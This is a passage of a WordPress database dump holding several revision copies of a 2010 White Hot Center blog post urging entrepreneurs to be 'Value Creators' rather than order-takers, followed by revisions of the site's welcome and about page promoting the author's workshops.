products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-19', '', '', '2010-11-26 18:13:06', '2010-11-27 01:13:06', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-19/', 0, 'revision', '', 0),
(1266, 2, '2010-11-26 18:13:23', '2010-11-27 01:13:23', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-20', '', '', '2010-11-26 18:13:23', '2010-11-27 01:13:23', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-20/', 0, 'revision', '', 0),
(1267, 2, '2010-11-26 18:24:46', '2010-11-27 01:24:46', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis. </strong><strong>Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>. </strong><strong>When you do, you’ll create far more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. </strong><strong></strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-21', '', '', '2010-11-26 18:24:46', '2010-11-27 01:24:46', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-21/', 0, 'revision', '', 0),
(1268, 2, '2010-11-26 18:24:56', '2010-11-27 01:24:56', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis. </strong><strong>Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>. </strong><strong>When you do, you’ll create far more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. </strong><strong></strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-22', '', '', '2010-11-26 18:24:56', '2010-11-27 01:24:56', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-22/', 0, 'revision', '', 0),
(1269, 2, '2010-10-29 15:27:47', '2010-10-29 22:27:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-10-29 15:27:47', '2010-10-29 22:27:47', '', 172, 'http://www.whitehotcenter.com/2010/10/29/172-revision-83/', 0, 'revision', '', 0),
(1270, 2, '2010-11-28 14:04:48', '2010-11-28 21:04:48', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h1>Creating ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities.</h1>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:04:48', '2010-11-28 21:04:48', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-84/', 0, 'revision', '', 0),
(1271, 2, '2010-11-28 14:05:16', '2010-11-28 21:05:16', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h1>Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities.</h1>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become 